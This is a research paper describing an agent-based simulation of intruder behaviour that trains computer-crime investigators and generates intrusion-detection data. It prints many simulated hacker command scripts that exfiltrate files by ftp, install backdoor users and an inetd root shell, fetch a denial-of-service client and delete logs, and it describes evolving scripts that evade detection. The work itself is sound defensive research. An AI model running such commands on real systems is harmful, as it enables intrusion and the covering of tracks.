
An evolutionary, agent-based model to aid in computer intrusion 
detection and prevention 

Manuscript #333 
 

Authors: 
 
Ben Shargel 
Courant Institute 
New York University 
New York, NY 10012, USA 
Bls272@courant.nyu.edu 
 
Eric Bonabeau, Julien Budynek, 
Daphna Buchsbaum, Paolo Gaudiano 
Icosystem Corporation 
10 Fawcett Street 
Cambridge, MA 02138, USA 
{eric,julien,daphna,paolo}@icosystem.com 
 
Corresponding Author: 
 
Paolo Gaudiano 
Icosystem Corporation 
10 Fawcett Street 
Cambridge, MA 02138, USA 
paolo@icosystem.com 
+1-617-520-1070



An evolutionary, agent-based model to aid in computer intrusion 
detection and prevention 

Ben Shargel 
Courant Institute 

New York University 
New York, NY 10012, USA 

 
Bls272@courant.nyu.edu 

Eric Bonabeau, Julien Budynek, 
Daphna Buchsbaum, Paolo Gaudiano 

Icosystem Corporation 
10 Fawcett Street 

Cambridge, MA 02138, USA 
{eric,julien,daphna,paolo}@icosystem.com

   
 

ABSTRACT 
We have developed a realistic agent-based simulation 
model of hacker behavior. In the model, hacker scripts are 
generated using a simple but powerful “hacker grammar” 
that has the potential to cover all possible hacker scripts. 
The model can be used to characterize the evidence 
generated by any hacker script, including new scripts that 
appear every day, and to train inexperienced investigators 
and incident handlers how to deal with a compromised 
system and look for evidence. The model can also be used 
in order to design sophisticated artificial intelligence 
techniques to automate intrusion detection and evidence 
collection. Finally, we summarize an extension of this work 
in which an evolutionary algorithm was used to evolve 
scripts that achieve certain goals without being detected. 
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1. INTRODUCTION 
1.1 Context 
In conjunction with the US Army’s Computer Crime 
Investigation Unit (CCIU), Icosystem Corporation has 
undertaken the modeling of hacker behavior on a shared 
computer system, along with the creation of a simple tool 
for computer crime investigators. The relevance of this 
project stems from the increasing inability of computer 
security professionals to respond quickly and successfully 
to potential hacking incidents. While there exist only a 
small number of skilled investigators, recent techniques 
have made it possible for hackers to automate system 
exploitation, resulting in an overwhelming number of 
attacks. Modeling hacker behavior is a potential remedy for 
this situation because it leads to the automation of both 
intrusion detection and evidence collection, which can aid 
less experienced security professionals in their 

investigations. Because a majority of the evidence intruders 
leave on a system is produced once they have already 
gained access to it, the focus of the present project was on 
this period of intrusion rather than the achievement of 
access itself. 

1.2 Overview 
The purpose of this project was to prove that it is, in 
principle, possible to recreate evidence of hacker behavior 
from simulation in a way that would be useful to computer 
crime investigators. The project's specific objectives were 
as follows:  
 

• First, to create a realistic but incomplete model of 
an actual computer server, with which normal 
users and a hacker interact.   

• Second, to develop a general model of intrusion 
behavior, so that the space of possible intrusions 
can be explored.   

• Third, to run a large number of model simulations 
in order to capture dynamically generated 
evidence of hacker behavior.   

• Fourth, to use this evidence to help investigators 
decide what evidence to look for when they 
examine a potentially compromised system.   

 
To this end, Icosystem and CCIU developed a realistic 
agent-based simulation model of hacker behavior. In the 
model, a hacker gains access to a shared Unix-based 
computer and performs a sequence of actions following a 
script. These actions produce evidence that can later be 
used to determine the script followed by the hacker and 
facilitate the investigation. Hacker scripts are generated 
using a simple but powerful “hacker grammar” that has the 
potential to cover all possible hacker scripts. An intelligent 
layer has been developed to analyze the evidence and guide 
investigators through the space of all possible scenarios; 
the intelligent tool will for example propose most likely 
scenarios and suggest evidence to look for to confirm an 



assumption. This model can be used by investigators in 
order to: 
 

• Characterize the evidence generated by any hacker 
script, including new scripts that appear every 
day. The library of scripts can be easily updated 
with new, emerging scripts. 

• Explore the space of hacker scripts in a way that 
cannot be done by a human being. 

• Run thousands or millions of simulations under a 
wide variety of scenarios to generate statistically 
meaningful evidence. 

• Train inexperienced investigators and incident 
handlers how to deal with a compromised system 
and look for evidence. 

• Design sophisticated artificial intelligence 
techniques to automate intrusion detection and 
evidence collection. For example, the data 
generated by the model can be used to teach a 
Bayesian inference network to recognize intrusion 
or misuse patterns. 

In a subsequent, internal R&D project, we applied an 
evolutionary algorithm to evolve scripts that are able to 
achieve certain goals (e.g., break into a system and corrupt 
certain files) while attempting to evade detection. 

1.3 Approach 
The project objectives were achieved by representing the 
server-user-hacker system as an agent-based model, in 
which the normal users and hacker were agents and their 
environment was the server. An agent-based model was 
chosen in lieu of other model types for several reasons: 
 

• First, simulation is useful in this context (as 
opposed to running tests on real systems) because 
it allows to compress time and run thousands or 
millions of intrusion scenarios and generate 
meaningful statistics about the incidents. The 
statistics generated by the model can then be used 
to train an intrusion detection system or an 
intelligent decision-support tool for investigators 
and incident handlers. Another benefit of 
compressing time is in the use of the tool as a 
learning tool, allowing would-be investigators to 
explore many scenarios.  

• Second, this type of model provides a natural 
description of systems composed of many 
autonomous agents. Any model that captures 
behavior at a higher level of abstraction can miss 
the relevant bottom-up dynamics of the individual 
agents interacting with their environment.   

• Third, agent-based models are also scalable, in 
that agents can be added or removed from the 
system easily and without significantly modifying 

system-level behavior. In the case of the server 
model, this means it could be extended to 
incorporate a larger user-base or even a number of 
other servers, which would collectively function 
as a network.  Having chosen to focus on a single-
server system, therefore, does not limit the model's 
potential.  

 
Finally, agent-based models enable the emergence of 
arbitrarily complex and/or error-prone behavior on the part 
of the agents. Thus, for instance, the range of hacker 
behavior is broadened to include everything from a near 
perfect intrusion to one that involves a number of errors, 
which can then be exploited by investigators. It is also 
possible to model agents that adapt and learn from 
experience. 

2. SIMULATION MODEL 
 

 
Figure 1. Elements of the model. 

 

2.1 Operating System Environment 
The model is composed of two different types of agents, 
users and hackers, as well as their environment, which is 
the server.  

• Users interact with the server by regularly logging 
in and out performing typical user behavior once 
on the system. This includes adding and 
modifying files and directories, as well as FTPing 
files to and from the machine.  

• The hacker interacts with the system by entering 
at random time and executing a pre-defined script, 
then leaving the system. The hacker either enters 
as the root user or as a normal user, who then uses 
the su command to become root.  

• All user actions, which include those of the 
hacker, are captured by the system in the same 
way that they are on real machines, namely, 
through log files and file statistics.  



These records are then later used for analysis to see what 
evidence the intruder has left behind. 

2.1.1 The server 
The server is a collection of three sub-components: a 
filesystem, a kernel and several ports. 
 
Filesystem. The first component of the computer is the 
filesystem, which is a subset of the standard Linux 
directory tree, including directories such as /var, /usr, and 
/bin.  Within the tree are system files, like /etc/passwd and 
/etc/inetd.conf, user files, such as Powerpoint and text files, 
and log files, like /var/log/secure. The content of user files 
is arbitrary, as it is irrelevant to the behavior of the model. 
All files and directories are owned by a particular user and 
group, with system files owned exclusively by root. In 
addition, files have read, write and execute permissions 
specific to the owner, group, and "other". Both file 
ownership and permission settings are resettable by the 
standard chmod, chown and chgrp commands (commands 
are discussed in the next section). Finally, files possess 
statistics such as their size, the time they were created, as 
well as the last time they were modified, accessed, or 
changed. This information can be accessed with the stat 
command. The filesystem is extensible in that users are free 
to add, remove and modify files and directories, but always 
within the confines of their permissions. The root user, by 
contrast, has permission to make any changes to the 
system.   
 
Kernel. The kernel of the computer provides an interface 
through which users can interact with the filesystem. Users 
communicate through the interface by issuing standard 
Unix commands to the kernel, which then attempts the 
desired action and returns the result. The language users 
have to work with is a subset of the Unix command 
language that preserves its syntax exactly.  So, for instance, 
a user might move a file by issuing the following command 
to the kernel: mv file1 /home/mydir/file2. All user 
commands are logged by the kernel as they would be on a 
real system, via log files such as .bash_history and 
/var/log/messages.  The kernel is similarly in charge of 
enforcing file permissions and updating file statistics.   
 
Ports. During simulation, normal users alternate between 
being logged into the system (as though they had a shell) 
and being logged in remotely through FTP, in which case 
they are restricted to merely adding and retrieving files.  
Whenever a user initiates a connection with the machine by 
logging in or issuing FTP commands, that connection must 
go through one of several ports operating on the system.  
The three currently implemented ports are port 21 (FTP), 
23 (telnet) and 55 (SSH).  All logins and logouts prompt 

log entries to be added to files such as /var/log/wtmp and 
/var/log/lastlog.   

2.1.2 Normal users 
The agents who provide most of the activity in the model 
are the normal users. They are constantly issuing 
commands to the computer between logging in and out.  A 
normal user represents not only a person interacting with 
the server, but a person with a valid account on the 
machine.  Thus, each user has a user and group name as 
well as a user ID (uid) and group ID (gid), which the 
computer uses to keep track of them and determine 
permissions. Each user also has their own home directory, 
located under /home, within which he has full read and 
write permissions.  Located in this home directory is the 
user's .bash_history file, which records all commands he 
has made. Unlike the hacker agent that executes a pre-
defined script, normal users issue random commands 
throughout the simulation, resulting in what could be 
considered white-noise on the system. It is against the 
backdrop of this white-noise that hacker actions must be 
detected. 

2.1.3 Hackers 
While normal users represent individuals with valid 
accounts on the system, hackers represent individuals who 
do not have valid accounts, but have rather hijacked the 
account of another. Thus all actions done by the hacker are 
in the name of another user, including root. Also unlike 
normal users, hackers do not constantly interact with the 
system throughout the duration of the simulation, but log 
into the system at a random time and execute a short script, 
intended to achieve one or more typical hacker goals. 
(Hacker scripts are discussed in the following section.) 
Hacker agents are intended to mimic the behavior of so-
called "script-kiddies", which are inexperienced hackers 
who use intrusion scripts designed by others, even though 
they often do not know how they work.  For this reason, 
hackers can make mistakes, such as removing a file entry 
previously entered or removing the wrong number of lines 
from a .bash_history file.   

2.2 Scripts 
A hacker script is a sequence of commands that the hacker 
issues upon logging into the system. Scripts are pre-defined 
in the sense that they are created all at once right before the 
hacker enters the computer, but are, in fact, randomly 
generated using a simple grammar. The grammar works as 
follows: Every command a hacker makes is done in order 
to achieve a goal, be it the theft of a file, the introduction of 
a "backdoor" mechanism that allows the hacker to gain 
entry to the system in the future, and so on.  Many of these 
goals can be subsumed under other goals, in the way that 



trojaning a system binary and adding a user to the system 
are both ways of adding a backdoor. This subsumption tree 
can be used to generate a script by beginning at the most 
general goals at the top and then randomly deciding which 
possible sub-goals should be attempted, and how. This 
amounts to recursively walking down the tree, from sub-
goal to sub-goal, until finally concrete commands are 
chosen. Sub-goals can be specified either as a sequence, a 
combination, or a single choice picked from a list.  Items in 
a sequence are always executed in order, while a 
combination can return any subset of its items and in any 
order, creating the most variability.  When items are 
specified in a list, only a single item is returned. As an 
example, part of the sub-goal tree is illustrated in Figure 2. 
Here, we see that the top-level goals are a sequence of 
entering the system, “doing stuff”, possibly cleaning up, 
and then exiting. “Doing stuff” is, in fact, a combination of 
downloading a client, stealing files, creating a backdoor, 
and destroying files. This means that any given hacker 
script could involve any or all of these actions, performed 
in any order.  Walking further down the tree shows that 
creating a backdoor is another combination, which involves 
at least one choice, between removing /etc/hosts or 
/etc/hosts.deny. 
 

 
Figure 2. . A subset of the hacker script grammar 

2.3 Log Analyzer 
The Log Analyzer is an analysis program that collects 
evidence from a computer after a simulation concludes. 
Gathering evidence here does not merely mean collecting 
raw log file data, but instead using simple rules to 
determine which out of 28 pre-defined pieces of evidence a 
hacker has left behind. These rules involve scanning log 
files, the directory tree and the statistics of key files.  
 
Table 1 shows the relationship between basic hacker 
actions, log files, and detection scheme of the log analyzer. 

So therefore, in the world as defined by the model, it is 
possible for the hacker to be invisible. 
 

 
Table 1. Hacker actions, commands, resulting log trails 
and possible cleanup actions.  

3. EXAMPLE SCENARIOS 
Below are outlined several scenarios that were generated 
by simulation of the model. Included are the script the 
hacker used, a summary of the effect he had on the system, 
and an analysis of evidence that was left on the machine 
afterwards.   

3.1 Scenario #1 
In this scenario, the hacker logged into the system at 
approximately 1:44am under the guise of user joe. He then 
executed this script: 
 
su root 
ftp 240.201.33.12 
put /.rhosts 
echo jack:x:5000:5000:/usr:/tmp:/bin/bash >> 
/etc/passwd 
echo jack:Yi2yCGHo0w0wg:10884:0:99999:-1:-
1:134538412 >> / 
/etc/shadow 
cd /etc 
echo 16000 stream tcp nowait root /usr/sbin/tcpd 
/bin/sh / 
>> inetd.conf 
rm hosts.deny 
exit 

 
We see that the hacker immediately su'd to root, because 
the user joe had insufficient permissions. He then 
connected via FTP to a (presumably compromised) remote 
machine, to which he uploaded the server's /.rhosts, or 
remote hosts, file.  He then introduced two backdoors.  The 
first was the addition of a new user called jack to 
/etc/passwd and /etc/shadow, and the second was 
the appending of a new entry to  /etc/inetd.conf, 
which manages port connections. This particular entry 



gives a root shell to any person who connects to port 16000 
on the machine. Finally, the hacker removed the 
hosts.deny file, perhaps because he eventually plans to 
set up a trusted host from which he can communicate to 
this computer. After all this is done he ends his superuser 
session and logs off the machine. 
This hacker has left many clues as to his actions.  Here we 
see what is returned by printing the contents of 
/etc/passwd to the screen 
   
$ cat /etc/passwd 
root:x:0:0:description:/:/bin/bash 
ftp:x:100:3:description:/:/bin/bash 
ben:x:1:1:description:/home/ben/:/bin/bash 
illy:x:2:1:description:/home/illy/:/bin/bash 
belinda:x:3:1:description:/home/belinda/:/bin/bash 
joe:x:4:1:description:/home/joe/:/bin/bash 
alex:x:5:2:description:/home/alex/:/bin/bash 
jack:x:5000:5000:/usr:/tmp:/bin/bash 

 
A careful system administrator will notice the extra user 
here.  /etc/shadow and /etc/inetd.conf will 
similarly display extra entries, which could potentially be 
caught.  In addition, listing the /etc directory will reveal 
that hosts.deny is no longer present, a file for which, 
like the previous three, only the root user has write 
privileges.  Finally, there is the fact that the user joe opened 
an su session in the first place, when perhaps that user does 
not have the root password. Here is an excerpt from the log 
file /var/log/messages, that records the initialization 
and closing of that session (key lines are highlighted in 
bold): 
 
May 1 01:23:57 server ftpd[70865]: FTP LOGIN / 
FROM 41.180.25.156, alex 
May 1 01:24:23 server ftpd[59277]: CWD . 
May 1 01:24:23 server ftpd[59277]: TYPE image 
May 1 01:24:23 server ftpd[59277]: PORT 
May 1 01:24:44 server PAM_pwdb[5347]: (su) session 
opened for user root by joe(uid=4) 
May 1 01:24:54 server ftpd[9300]: CWD . 
May 1 01:24:54 server ftpd[9300]: TYPE image 
May 1 01:24:54 server ftpd[9300]: PORT 
May 1 01:24:56 server ftpd[12616]: CWD . 
May 1 01:24:56 server ftpd[12616]: TYPE image 
May 1 01:24:56 server ftpd[12616]: PORT 
May 1 01:25:27 server PAM_pwdb[5347]: (su) session 
closed for user root 
May 1 01:25:38 server ftpd[12616]: RETR joe22.java 
May 1 01:25:38 server ftpd[12616]: TYPE image 

   
Catching anomalous entries like this can also dramatically 
aid the investigation of how the intruder broke in, because 
the fact that he entered as a normal user and not root 
indicates his exploit did not earn him a root shell. 

3.2 Scenario #2 
This scenario begins by the hacker entering the system not 
as a regular user but as root, at about 1:24am.  The script he 
then executes is fairly short: 
 
rm /etc/inetd.conf 

ftp 41.79.84.238 
get trin00 
mv trin00 /usr/bin/.xinddr 

 
The first thing the hacker does is remove the port daemon's 
configuration file /etc/inetd.conf, which might be 
for strictly destructive purposes or because the hacker later 
plans to trojan the file. The second and final thing is to 
retrieve the trin00 client from a remote host and then hide it 
on the local machine under an unassuming name, which 
will only be visible to calls to ls -a. Trin00 is a well 
known denial-of-service program, so evidently the hacker's 
plans for this machine go only as far as making it the 
staging ground for yet another attack. 
 
Due to its length and choice of commands, the commands 
issued by this script leave very little evidence behind. The 
removal of the configuration file could be noticed, as well 
as the contents of the script itself as recorded in root's 
.bash_history file. One final piece of evidence is the 
root login, which may be irregular in a system where users 
only become root through the su command.  Here we see a 
record of it captured in /var/log/wtmp: 
 
ftp   ftpd73451 183.233.90.20    May 1 00:07:52 - 
00:37:55 (00:30:03) 
ben   pts/3     183.233.90.20    May 1 00:37:55 - 
00:39:41 (00:01:45) 
ftp   ftpd54247 162.97.102.169   May 1 00:00:48 - 
00:44:50 (00:44:02) 
ftp   ftpd9763  183.233.90.20    May 1 00:39:41 - 
00:48:18 (00:08:36) 
ben   pts/0     183.233.90.20    May 1 00:48:18 - 
00:51:05 (00:02:47) 
ftp   ftpd68683 90.126.40.133    May 1 00:33:52 - 
00:51:59 (00:18:06) 
root  pts/0     41.79.84.238     May 1 01:24:29 - 
01:24:46 (00:00:17) 
joe   pts/4     90.126.40.133    May 1 00:51:59 - 
01:25:24 (00:33:25) 
ftp   ftpd33061 90.126.40.133    May 1 01:25:24    
still logged in 
illy  pts/4     162.97.102.169   May 1 00:44:50 - 
01:26:28 (00:41:38) 
ftp   ftpd17644 183.233.90.20    May 1 00:51:05 - 
01:33:04 (00:41:58) 
ftp   ftpd14494 162.97.102.169   May 1 01:26:28 - 
01:39:23 (00:12:55) 

 
The record says that root was only logged in for 17 seconds 
- long enough to run a script or type a handful of 
commands, but not much else.  Also evident in this log file 
is that root connected from the remote machine 
41.79.84.238, from which no other user ever connects.  The 
combined facts that someone logged in as root for a mere 
handful of seconds and from an unknown location suggests 
that the system may have been compromised. 

3.3 Scenario #3 
The hacker in this scenario is more concerned about 
cleanup than those in the previous two.  Here is the script 



he uses after logging onto the system at about 4:22am as 
user alex: 
 
su root 
rm /etc/passwd 
ftp 82.197.55.13 
put /home/ben/ben50.txt 
ftp 82.197.55.13 
get cleanHistory 
chmod u+x cleanHistory 
./cleanHistory 10 
rm /var/log/secure 
rm /var/log/messages 
exit 

 
The first thing the hacker does after calling su to become 
root is remove /etc/passwd, maybe just to wreak havoc 
on the system.  Then he FTPs to a foreign computer in 
order to steal a file owned by ben.  This is where cleanup 
begins.   
 
The hacker connects again to the same host and downloads 
a cleanup program called cleanHistory, which is then 
made executable and run.  This program, which is one of 
two that the hacker has at his disposal, removes the last n 
entries in root’s /.bash_history file, where n is 
specified on the command line. In this case, the last 10 
lines were removed, which is sufficient to erase all the 
hacker’s previous activity.  After removing these lines, he 
finishes removing evidence by erasing the 
/var/log/secure and /var/log/messages log 
files, which record such things as telnet, SSH and FTP 
logins, su sessions, and remote FTP commands.  While the 
commands to remove these files will still remain in root’s 
history, this offers little information for investigators, since 
their removal is self-evident.  Here’s what the end of the 
history file looks like after the simulation: 
 
echo alex:x:5:2:description:/home/alex/:/bin/bash 
 >> /etc/passwd 
mkdir /home/alex/ 
> /home/alex/.bash_history 
chown alex /home/alex/.bash_history 
rm /var/log/secure 
rm /var/log/messages 
exit 
 
The entries before the three suspicious ones result from the 
beginning of the run, when the root user added each user to 
the system (here alex).  Calls to print the contents of the 
two log files that were removed in a post-simulation 
interactive session produce the following output: 
 
root$ cat /var/log/messages 
File doesn't exist: /var/log/messages 
root$ cat /var/log/secure 
File doesn't exist: /var/log/secure 

 
Any login information from this files is lost.  In addition, 
because the hacker logged in as a normal user and removed 
the one log file in the model that recorded his su session, 

there is no way to directly tell when he entered the 
machine.   
 
A critical mistake undoes what the hacker has achieved, 
however: By leaving his cleanHistory file on the 
machine, an investigator could use its modify-access-
change (MAC) times to determine when it was downloaded 
(modified) and made executable (changed), which could 
then be compared with times in /var/log/wtmp to see 
which user’s account was hijacked.  Here is what the file’s 
stat information looks like: 
 
$ cd /home/alex 
$ stat cleanHistory 
File: cleanHistory 
Size: 0 
Modify: May 1 04:22:48 
Access:  May 1 04:22:48 
Change: May 1 04:23:06 

 
So we know that the file was downloaded at 04:22:48 but 
changed at 04:23:06, so presumably the hacker entered and 
exited the system around these times.  Here is the part of 
/var/log/wtmp that corresponds to this period: 
 
ftp ftpd53716 235.77.46.191 May 1 
03:25:15 - 04:03:46 (00:38:31) 
ftp ftpd75942 108.163.156.198
 May 1 03:49:53 - 04:11:55 
(00:22:02) 
belinda pts/0 220.65.220.171 May 1 
03:57:32 - 04:15:49 (00:18:16) 
ftp ftpd1050 17.40.41.202 May 1 
03:37:56 - 04:16:27 (00:38:30) 
alex pts/5 82.197.55.13  May 1 
04:22:05 - 04:23:32 (00:01:27) 
ben pts/1 196.187.158.215 May 1 
03:29:35 - 04:35:46 (01:06:11) 
illy pts/0 108.163.156.198 May 1 
04:11:55 - 04:41:03 (00:29:07) 
joe pts/0 235.77.46.191 May 1 
04:03:46 - 04:43:32 (00:39:46) 

 
The session that stands out the most among these is the one 
highlighted in black, in which user alex logged in and out 
of the system within seconds of cleanHistory’s MAC times. 
Some further checks will show that the person who logged 
in as alex during that session did so from an IP address that 
no other user logs in from, confirming that we have indeed 
found the hacker. This is a good example of how indirect 
clues can lead to evidence that a hacker has intentionally 
tried to cover up, even including something as significant 
as the machine the hacker came from. 

4. LOG ANALYSIS TOOL 
Once sufficient statistics are generated through a large 
number of scripts, one can build a tool that uses the model 
to help inexperienced investigators decide what evidence to 
look for next when analyzing a potentially compromised 
machine. Such a tool provides a dialog box in which 
suggestions are continually being made by the computer as 



to types of evidence the user should look for, which are in 
turn informed by responses from the user that indicate 
whether these types were indeed found. This suggestion 
tool can then be used either in the training of new 
investigators or as an aid to expedite real investigations.   

Creation of the tool is achieved in two stages. The first is 
the addition of an analysis program that gathers evidence 
from a computer after a simulation concludes. Gathering 
evidence here does not merely mean collecting raw log file 
data, but instead using simple rules to determine which out 
of the pre-defined pieces of evidence a hacker has left 
behind. These rules involve scanning log files, the 
directory tree and the statistics of key files. The results of 
this analysis are added to a matrix that records how many 
times two types of evidence were seen together. An 
example of this matrix can be seen in Figure 3 below. 
When large numbers of simulations are run, these 
correlations indicate, on average, how likely one is to find 
one type of evidence given that another has already been 
found.   

 
Figure 3. Correlation matrix. 

The second stage of the tool involved designing a graphical 
user interface (GUI) through which dialog with the tool can 
take place. This interface, displayed in Figure 4, allows the 
user to select which of the pre-defined evidence types he 
has found on the machine. The tool then suggests the user 
look for the type of evidence that is most highly-correlated 
with the type inputted. If the suggestion has to do with log 
file entries, an example of a file that contains the suggested 
type of evidence is displayed in a text box at the bottom of 
the screen. Feedback is returned to the tool by the user 
indicating with a pair of buttons whether or not the 
evidence was found on the machine they are investigating. 
A dialog then ensues, in which the tool always suggests the 
type of evidence that is most highly-correlated with any of 
the types the user has actually found and has not previously 
been suggested. So, for instance, if the user has indicated 

so far in the dialog that he has found types 2, 5, and 12, and 
the correlation between 7 and 5 is greater than that between 
the any of the three and any other type, then type 7 is 
suggested. 

 
Figure 4. The interface of the investigation tool.  A 
suggestion to check for evidence of a superuser session 
has been offered, along with sample evidence contained 
within a /var/log/messages file captured during 
simulation. 

5. EXAMPLES 
The following are two example user sessions with the tool.   

5.1 Example #1 
In this first example, the user initiates the dialog by saying 
that evidence has been found indicating root downloaded a 
file via FTP, perhaps as an entry in 
/var/log/messages. The first suggestion the tool 
makes is to look for evidence of a superuser (su) session, 
which has a strong correlation of .803 with FTP file 
downloads. This is not very helpful, since an su session is 
often a prerequisite for root access, and therefore any 
subsequent hacker activity. After the user in this 
hypothetical case clicks the “Found it” button, the su 
session evidence type is added to the list of types currently 
found. This informs the next suggestion to look for FTP 
file uploads by root, which has a correlation of .563 with 
FTP downloads. The user replies that this evidence could 
not be found. The next suggestion made by the tool, which 
can be seen in figure 5 below, is to look for hidden files on 
the system – meaning user files whose names are prefixed 
with a “.” – which has a correlation of .493 with FTP file 
downloads. This is a case of simple emergent intelligence 
on behalf of the tool, because it has figured out that often, 
when a hacker downloads a file from a remote machine, he 
also creates a hidden files on the local machine, implying 
that the downloaded files are being hidden.  This could 
occur in cases when a hacker wants to keep a denial-of-



service client or an IRC client on the system but ensure that 
it goes undetected.  
 

 
Figure 5. The tool suggests searching for hidden files, 
given that an FTP download has already been detected 

5.2 Example #2 
The second example investigation begins with the removal 
of /var/log/wtmp, a log file that keeps track of all 
login sessions on the server.  The tool suggests looking for 
the removal of /var/log/secure, which has a 
correlation of .688 with that finding.  The user replies that 
this file is, indeed, missing, so the tool says then to check 
whether /.bash_history is there, whose removal is 
correlated to the removal of /var/log/secure by .733.   
 
Next comes check for the absence of the next main log file, 
/var/log/messages, which, like the previous file, is 
found to be there.  Up until this point all suggestions have 
logically revolved around the presence of key log files 
besides /var/log/wtmp, since when one is removed, 
the model indicates than several others are likely to be as 
well.  The next suggestion is a deviation from this pattern, 
however – it regards whether /etc/shadow has been 
modified, and has surprisingly high correlation of .533 with 
the removal of /var/log/secure (see figure 6).  

Figure 6. A seemingly unlikely suggestion to check for 
the modification of /etc/shadow given that 
/var/log/secure has been removed 
 
Now while this correlation may seem like a fluke, it is in 
fact not, and reveals how the structure of the hacker script 
grammar influences evidence correlations.  The reason that 
the removals of the different log files were correlated with 
each other is that they are under the same branch of the 
hacker sub-goal tree, called “remove log files”.  Because 
they are grouped as a combination, each is likely to be 
found with each other about 50% of the time when the 
number of simulations is sufficiently large.  Now, the 
modification of /etc/shadow can occur not only when a 
user is being added, but when a user is being removed.  
The latter action is located under the “remove users” 
branch of the tree, which is a sibling of “remove log files”, 
in that they share the same parent.  The explanation, then, 
of why the modification of /etc/shadow is so highly 
correlated with the removal of /var/log/wtmp, but not 
as much so as the removal of the other log files, is that it is 
near to it in the sub-goal tree, but not as near as the latter 
actions.  Thus, one major cause of correlation is nearness in 
the sub-goal tree.  This tree is merely an abstraction of the 
way the hacker script grammar constructs scripts, however, 
so correlation ultimately comes down to grammar. 

6.  EVOLVING SCRIPTS 
One important benefit of developing a model of hacker 
behavior is that it is possible to use the model as the basis 
for an evolutionary model that tries to create novel hacker 
scripts. The script creation grammar that we described 
earlier in this paper can generate a vast number of scripts. It 
may not be possible to perform an exhaustive search of the 
space of scripts generated in this fashion to identify those 
that are most successful. Furthermore, there may well be 
other scripts that could not be generated by the script 
grammar, which nonetheless are able to achieve specific 
disruptive goals while evading detection. In fact, it is easy 
to argue that a real hacker would be unlikely to find new 



strategies simply by recombining script elements based on 
a simple set of rules. 
 
In this section we describe an internal R&D project that 
extends the work already described. We applied an 
evolutionary algorithm (Goldberg, 1989) to the hacker 
model, with the goal of identifying scripts that could 
achieve certain goals without being detected. 
 
In this section we describe our approach and methodology, 
and provide some results in Section 7. In our description of 
the methodology we presume that the reader is at least 
generally familiar with the concept of evolutionary 
computing an GAs. Standard references can be consulted 
for additional information (e.g., Godlberg, 1989; Forrest, 
1993). 

6.1 Genotype 
The population we use is composed of scripts (Figure 7). 
One script is one individual. An individual is represented 
by a chromosome, which is itself composed by a sequence 
of genes. A hacking script is composed of a sequence of 
Unix commands. Therefore, it seems natural to define a 
gene as a single Unix command. The length of the scripts 
we use being variable, the chromosomes will also be of 
variable length. 
su root
ftp 215.80.223.152
get ftp
chmod u+x ftp
mv ftp /bin/ftp
rm /etc/hosts
cd /etc
echo 16000 stream tcp nowait
root /usr/sbin/tcpd /bin/sh >> 
inetd.conf
rm /etc/passwd
ftp 215.80.223.152
get trin00
mv trin00 /usr/bin/logmkr
exit

su root
ftp 215.80.223.152
get ftp
chmod u+x ftp
mv ftp /bin/ftp
rm /etc/hosts
cd /etc
echo 16000 stream tcp
nowait root 
/usr/sbin/tcpd /bin/sh >> 
inetd.conf
rm /etc/passwd
ftp 215.80.223.152
get trin00
mv trin00 /usr/bin/logmkr
exit

su root
ftp 161.121.131.182
put /.rhosts
ftp 161.121.131.182
get client1
mv client1 /usr/sbin/logmkr
ftp 161.121.131.182
get chatclnt
mv chatclnt /var/log/prog13
rm /etc/hosts.deny
ftp 161.121.131.182
get ftp
chmod u+x ftp
mv ftp /bin/ftp
echo 
jack:x:5000:5000:/usr:/tmp:/bin/bas
h >> /etc/passwd
echo 
jack:Yi2yCGHo0w0wg:10884:0:99999:-
1:-1:134538412 >> /etc/shadow
rm /var/log/wtmp
ftp 161.121.131.182
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm cleanMessages
rm /var/log/prog13
exit

rm /etc/passwd
ftp 131.3.110.245
get client1
mv client1 /usr/sbin/logmkr
ftp 131.3.110.245
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm cleanMessages
ftp 131.3.110.245
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 0

su root
ftp 247.100.223.178
put /.rhosts
ftp 247.100.223.178
get cleanMessages
chmod u+x
cleanMessages
./cleanMessages
rm cleanMessages
ftp 247.100.223.178
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 2
exit

su root
ftp 123.129.134.192
get chatclnt
mv chatclnt
/usr/sbin/mail.old
exit

su root
rm /etc/passwd
ftp 97.13.29.106
put /.rhosts
exit

su root
ftp 182.153.20.95
get client1
mv client1 /usr/sbin/logmkr
ftp 182.153.20.95
get chatclnt
mv chatclnt /usr/sbin/prog13
ftp 182.153.20.95
put /.rhosts
echo jill:x:0:0:/usr:/tmp:/bin/bash >> 
/etc/passwd
echo jill:jwPhUFnekNkMAjYnT:0:0:99999:-1:-
1:62846273 >> /etc/shadow
echo jack:x:5000:5000:/usr:/tmp:/bin/bash 
>> /etc/passwd
echo jack:Yi2yCGHo0w0wg:10884:0:99999:-1:-
1:134538412 >> /etc/shadow
ftp 182.153.20.95
get ftp
chmod u+x ftp
mv ftp /bin/ftp
exit

su root
ftp 148.122.248.125
get ftp
chmod u+x ftp
mv ftp /bin/ftp
ftp 148.122.248.125
put /.rhosts
rm /etc/inetd.conf
exit

su root
cd /var
ls
cd www
ls
cd html
rm index.html
rm /etc/hosts
ftp 230.128.40.35
get login
chmod u+x login
mv login /bin/login
rm /var/log/lastlog
rm /var/log/secure
rm /.bash_history
rm /var/log/wtmp
ftp 230.128.40.35
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
rm cleanMessages
exit

su root
ftp 233.172.96.241
get client1
mv client1 
/usr/bin/mail.old
chmod u+x
/usr/bin/mail.old
ftp 233.172.96.241
get chat1
mv chat1 /usr/bin/prog13
exit

su root
rm /etc/passwd
ftp 234.128.245.189
put /.rhosts
rm /var/log/messages
rm /var/log/wtmp
ftp 234.128.245.189
get cleanMessages
chmod u+x
cleanMessages
./cleanMessages
rm cleanMessages
exit

su root
ftp 32.210.172.217
put /.rhosts
rm /etc/inetd.conf
ftp 32.210.172.217
get client1
mv client1 /var/log/mail.old
chmod u+x /var/log/mail.old
ftp 32.210.172.217
get cleanMessages
chmod u+x cleanMessages
./cleanMessages
ftp 32.210.172.217
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 5
rm cleanHistory
exit

su root
ftp 2.160.224.21
get trin00
mv trin00 
/usr/bin/prog13
ftp 2.160.224.21
get chat1
mv chat1 /var/log/logmkr
ftp 2.160.224.21
get cleanHistory
chmod u+x cleanHistory
./cleanHistory 8
rm cleanHistory
rm /var/log/wtmp
rm /.bash_history
rm /var/log/lastlog
exit

 
Figure 7. A population of scripts. 

 

We define the gene pool as the complete set of Unix 
commands that can be generated in the model (Figure 8). A 
